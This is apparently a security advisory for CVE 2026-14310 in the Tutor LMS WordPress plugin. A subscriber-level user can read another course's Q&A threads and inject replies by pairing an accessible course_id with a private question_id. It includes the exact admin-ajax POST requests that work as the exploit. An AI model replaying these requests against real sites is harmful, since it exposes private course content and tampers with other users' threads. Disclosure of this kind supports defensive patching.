Tutor LMS < 4.0.0 – Subscriber+ Cross-Course Q&A Content Disclosure and Reply Injection | CVE 2026-14310

Description

The plugin does not properly verify that a user has access to the course a Q&A thread belongs to before returning or writing to that thread, allowing authenticated users with subscriber-level access and above who can access any single course to read the Q&A threads of other courses and to inject replies into them.

Proof of Concept

Attacker is a plain Subscriber (user 3) with access to a public course (id 10) but not enrolled in a private course (id 11). The private course holds a question (comment id 2, content "VICTIM-SECRET-QUESTION: what are the final exam answers?").

1) Log in as the Subscriber and read the front-end _tutor_nonce from any course page.

2) Negative control - requesting the private course directly is correctly denied:
POST /wp-admin/admin-ajax.php
action=tutor_qna_create_update&_tutor_nonce=NONCE&course_id=11&question_id=2&answer=x
=> {"success":false,"data":{"message":"You are not authorzied to perform this action"}}

3) Exploit - authorize against the accessible course (10), act on the private question (2):
POST /wp-admin/admin-ajax.php
action=tutor_qna_create_update&_tutor_nonce=NONCE&course_id=10&question_id=2&answer=INJECTED_REPLY
=> success:true; the returned HTML contains "VICTIM-SECRET-QUESTION: what are the final exam answers?" (cross-course read), and a comment row is written with comment_parent=2 and user_id=3 (cross-course reply injection).

The contrast between step 2 (denied on course_id 11) and step 3 (succeeds via course_id 10 + question_id 2) shows authorization is bound to course_id while the action uses the unvalidated question_id.